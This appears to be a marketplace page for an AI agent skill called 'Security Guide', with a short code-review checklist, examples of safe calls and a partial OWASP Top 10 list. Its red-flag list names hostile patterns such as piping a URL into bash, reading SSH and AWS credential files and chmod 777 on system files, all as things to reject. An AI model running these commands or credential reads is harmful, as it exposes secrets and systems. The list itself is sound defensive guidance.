# Security Guide

> Security best practices guide for developers.

- Skill: `dvcrn/security-guide` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add dvcrn/security-guide`
- Raw SKILL.md: https://api.skillmd.com/api/skills/dvcrn/security-guide/raw
- Safety review: pending (external: skill-scanner WARNING, skillspector FAIL)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: dvcrn (https://skillmd.com/u/dvcrn)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/dvcrn/security-guide

---


# Security Guide

Learn about common security vulnerabilities and how to avoid them.

## Red Flags to Watch For

When reviewing code, reject immediately if you see:

- `curl http://example.com | bash` — never pipe untrusted URLs to shell
- `eval()` or `exec()` with user-controlled input
- Reading `~/.ssh/id_rsa` or `~/.aws/credentials` without justification
- `base64.b64decode()` on data from external sources
- `sudo chmod 777` on system files
- Access to `SOUL.md`, `MEMORY.md`, or agent identity files
- `pickle.loads()` on untrusted data — arbitrary code execution risk
- Hardcoded IPs like `192.168.1.1` instead of domain names

## Safe Patterns

These are generally OK:
- `subprocess.run(["git", "status"])` — hardcoded command
- `os.environ.get("HOME")` — non-secret env var
- `requests.get("https://api.github.com/...")` — public API read

## OWASP Top 10 Summary

1. Injection (SQL, command, LDAP)
2. Broken authentication
3. Sensitive data exposure
4. XML external entities
5. Broken access control